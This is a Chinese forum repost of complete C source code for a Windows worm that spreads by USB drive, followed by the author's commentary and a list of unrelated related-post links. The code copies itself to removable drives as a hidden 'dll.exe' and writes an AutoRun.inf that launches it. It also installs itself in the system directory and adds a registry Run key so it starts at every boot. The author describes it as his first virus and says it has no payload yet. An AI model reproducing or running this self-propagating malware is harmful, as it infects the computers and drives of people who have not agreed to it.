原创作者:nevergone
信息来源: www.retcvc.com
原始连接: http://www.retcvc.com/cgi-bin/topic.cgi?forum=4&topic=968&show=0

#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>

#define TIMER 1//计时器
#define WM_FROMC WM_USER+0     //自定义消息 从C盘中启动
#define WM_FROMU WM_USER+1   //自定义消息 从U盘中启动

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动

//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="dll.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
            PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("virus");
HWND           hwnd;
MSG           msg;
WNDCLASS       wndclass;

wndclass.style         =0;
wndclass.lpfnWndProc     =WndProc;
wndclass.cbClsExtra     =0;
wndclass.cbWndExtra     =0;
wndclass.hInstance     =hInstance;
wndclass.hIcon         =0;
wndclass.hCursor       =0;
wndclass.hbrBackground   =0;
wndclass.lpszMenuName   =NULL;
wndclass.lpszClassName   =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
        szAppName, MB_IConERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
            WS_DISABLED,
            0, 0,
            0, 0,
            NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE:       //处理一些要下面要用到的全局变量
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER:         //timer message
if(szExePath[0]=='C')
{
if(FindU(U))
{
SendMessage(hwnd,WM_FROMC,0,0);
}
}
else
SendMessage(hwnd,WM_FROMU,0,0);
return 0;
case WM_FROMC:
CopyToUAndSet();
return 0;
case WM_FROMU:
CopyToSysAndSet(hwnd);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}

BOOL FindU(TCHAR *u)
{
u[1]=':';
for(char d='C';d<='Z';d++)//遍历C到Z
  {
    u[0]=d;
    if(GetDriveType(u)==DRIVE_REMOVABLE)//判断是不是可移动的盘
        return TRUE;
}
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"//");
lstrcat(szPath,szExeName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);结束自己
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
BOOL RegAutoRun(TCHAR *path)//修改注册表
{
HKEY hkey;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE//MICROSOFT//Windows//CurrentVersion//Run",
&hkey)==ERROR_SUCCESS)
{
RegSetvalueEx(hkey,szExeName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"//");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"//");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open=dll.exe e"<<endl;
fout<<"shellexecute=dll.exe e"<<endl;
fout<<"shell//Auto//command=dll.exe e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szExeName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
}

第一次写病毒.没经验.
在WinMain函数里,不知道有没有更好的方法创建一个隐藏窗口
程序的大致流程如下:
首先得到一些全局变量的值:系统路径,程序自身的路径.启动定时器
判断自己程序的目录
如果是在C盘,则监测有没有U盘出现,如果有的,检测U盘中是否有dll.exe文件.没有就复制自己到U盘.设置文件的属性为隐藏和系统
如果是在不是在C盘启动,则复制自己到U盘,修改注册表实现自启动,并设置文件的属性为隐藏和系统.
没有发作的代码

流行的RavMonE大概有3M左右,我在VC6下编译release 版,只有48KB.

基于U盘传播的简单病毒相关推荐

  1. 通过U盘传播的“病毒”

    通过U盘传播的"病毒" 最近我们同学的 U 盘. MP3 .移动硬盘等在使用时,不约而同的出现了奇怪的现象.   症状: 1. 在 U 盘中发现多出" autorun.i ...

  2. 嵌入式课程设计linux,嵌入式系统课程设计--基于U盘的linux操作系统的构建

    嵌入式系统课程设计--基于U盘的linux操作系统的构建 1 课程设计报告课程设计报告 课程名称课程名称 嵌入式系统课程设计嵌入式系统课程设计 设计题目设计题目基于基于 U盘的盘的 linux 操作系 ...

  3. Commvault+XSKY 推出基于 Object Lock 的防勒索病毒联合方案

    从桶粒度到对象粒度 随着对象存储的普及,对象存储已经成为最流行的备份目的(backup target) 存储.XSKY星辰天合作为国内领先的对象存储厂商,Commvault 作为全球领先的数据保护厂商 ...

  4. Mobox校园云盘一键部署简单高效-完美替换传统FTP

    校园云盘一键部署简单高效-完美替换传统FTP 国内学校在建设校园云盘时普遍倾向于能够解决存储备份.内容分发与回收.教学管理.科研信息化.数据安全等问题.Mobox校园云盘传作为跨区域存储文件传输管理平 ...

  5. DL之RNN:基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列随机序列)

    DL之RNN:基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列&随机序列) 目录 序列数据类型&输出结果 设计思路 序列数据类型&输出结果 1.t ...

  6. Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5个样本)——概率预测

    Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5个样本)--概率预测 目录 输出结果 核心代码 输出结果 核心代码 # -*- coding: ...

  7. Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5+1个样本)——类别预测

    Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5+1个样本)--类别预测 目录 输出结果 核心代码 输出结果 核心代码 # -*- codin ...

  8. 深度学习中反向传播算法简单推导笔记

    反向传播算法简单推导笔记 1.全连接神经网络 该结构的前向传播可以写成: z(1)=W(1)x+b(1)z^{(1)} = W^{(1)}x+b^{(1)}z(1)=W(1)x+b(1) a(1)=σ ...

  9. 2020年朋友圈十大谣言:包括蚊蝇可以传播新冠病毒等

    网络的快速发展加上社交平台的便利,使得信息传播速度日期加快.不过,便捷的网络和平台也成为一些谣言高发地,尤其是我们在刷朋友圈的过程中,经常会看到各种各样危言耸听的消息.日前,微信官方对外公布了2020 ...

最新文章

  1. 2021年春季学期-信号与系统-第一次作业参考答案-第二题
  2. Flash的层叠顺序问题(z-index)
  3. 中科院开源 RISC-V 处理器“香山”流片,已成功运行 Linux
  4. python3 类的相关内容
  5. 萌新的Python练习菜鸟100例(十六)输出指定格式的日期。
  6. mybatis mysql 自增_利用Java的MyBatis框架获取MySQL中插入记录时的自增主键
  7. OpenGL超级宝典第7版 配置环境第一个程序
  8. unity 彩带粒子_Unity 粒子特效—FX Maker
  9. [lua]紫猫lua教程-命令宝典-L1-01-07. table表
  10. css修改文字竖排还是横排
  11. csr_matrix矩阵
  12. 002_wz_kaggle泰坦尼克号深度学习实现
  13. ssh远程No route to host问题解决
  14. 经验模式分解(EMD)——简介及Matlab工具箱安装
  15. Linux内核中的IPSEC实现(3)
  16. 远程桌面 CredSSP加密Oracle修正 解决方法
  17. 脏话越多,代码越好!
  18. 用c语言实现小游戏三子棋
  19. VB6.0中文企业版安装步骤
  20. Win32汇编:各种语句的构造方式

热门文章

  1. python字母对照表_Python获取字母表
  2. 【愚公系列】2023年06月 网络安全(交通银行杯)-疑惑的汉字
  3. 网页色彩大攻略(蓝色系)
  4. 小白学习记录篇01---C语言和C++的区别以及C语言中文件的含义(不足之处欢迎大佬补充提醒。)
  5. Deepin-TIM / QQ / WeChat调整界面DPI字体大小的方法
  6. 201819101025王涵月
  7. DICOM医学图像处理:fo-dicom网络传输之 C-Echo and C-Store
  8. 【新知实验室-TRTC开发】实时音视频之集美真心话
  9. hexo(sakura)给博客增添侧边栏(回到顶部,跳转评论,深色模式,播放音乐)Valine-1.4.4新版本尝鲜+个性制定(表情包、qq头像、UI样式)
  10. Rate Limiting Algorithms (限流算法)